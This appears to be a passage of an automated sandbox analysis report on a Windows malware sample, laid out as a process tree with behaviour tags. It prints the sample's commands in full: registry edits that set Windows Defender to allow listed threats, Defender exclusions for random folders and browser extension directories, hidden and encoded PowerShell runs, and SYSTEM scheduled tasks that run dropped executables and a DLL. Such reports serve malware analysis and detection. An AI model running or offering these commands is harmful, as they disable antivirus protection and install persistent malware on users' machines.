\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵PID:4920
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:4268
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2632
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:2688
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:5092
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:1536
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:4732
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:1900
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:4136
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:1624
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:3588
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:4984
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:4900
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:248
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:1572
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:332
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:1196
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:692
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:800
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:1748
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:4692
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:1148
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:1428
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:3964
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:1456
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:3848
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:3296
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:1620
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:4492
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ADJLsahCU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\AymmxTCbqblaRZJGVqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\DQANlvmTAvZU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\PZjcxajBIsNTC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mWJfrhglotUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\VyWMmqtuSNndeGVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3348 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:323⤵PID:3480
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:324⤵PID:4708
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:643⤵PID:1436
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:323⤵PID:1784
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:643⤵PID:4400
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:323⤵PID:2372
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:643⤵PID:2060
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:323⤵PID:3100
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:643⤵PID:2476
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:323⤵PID:2256
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:643⤵PID:1836
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:323⤵PID:4652
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\VyWMmqtuSNndeGVB /t REG_DWORD /d 0 /reg:643⤵PID:2024
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:4764
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:3108
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:3304
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:3544
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:323⤵PID:3128
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA /t REG_DWORD /d 0 /reg:643⤵PID:4528
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:323⤵PID:3496
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\WPGfhLqOzAIwKSwi /t REG_DWORD /d 0 /reg:643⤵PID:4508
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gIeeEDhmH" /SC once /ST 05:42:05 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:2744 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gIeeEDhmH"2⤵PID:1988
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gIeeEDhmH"2⤵PID:1748
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "XyyyteIMwZeutaZuw" /SC once /ST 02:33:24 /RU "SYSTEM" /TR "\"C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lyBBqBr.exe\" GH /yqjgdidJZ 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2172 -
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "XyyyteIMwZeutaZuw"2⤵PID:3296
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2128 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:1072
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:248
-
C:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lyBBqBr.exeC:\Windows\Temp\WPGfhLqOzAIwKSwi\CKEIBaXuklpWnmi\lyBBqBr.exe GH /yqjgdidJZ 385118 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3440 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"2⤵PID:3620
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"3⤵PID:2052
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 64⤵PID:1036
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 65⤵PID:4580
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"3⤵PID:4952
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 64⤵PID:4708
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 65⤵PID:4836
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"3⤵PID:1436
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 64⤵PID:4380
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 65⤵PID:4400
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"3⤵PID:2372
-
C:\Windows\SysWOW64\cmd.exe/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 64⤵PID:3300
-
\??\c:\windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 65⤵PID:3040
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"3⤵PID:4416
-
C:\Windows\SysWOW64\cmd.exe/C powershell start-process -WindowStyle Hidden gpupdate.exe /force4⤵PID:1588
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell start-process -WindowStyle Hidden gpupdate.exe /force5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3924 -
C:\Windows\SysWOW64\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force6⤵PID:1964
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bbmnnUCIPYyTQrzMQJ"2⤵PID:4420
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:2284
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:1464
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:3224
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4268 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3192 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ADJLsahCU\AYarJH.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "FPieTEPPuEmJrhC" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1544 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "FPieTEPPuEmJrhC2" /F /xml "C:\Program Files (x86)\ADJLsahCU\ozXqSjo.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1428 -
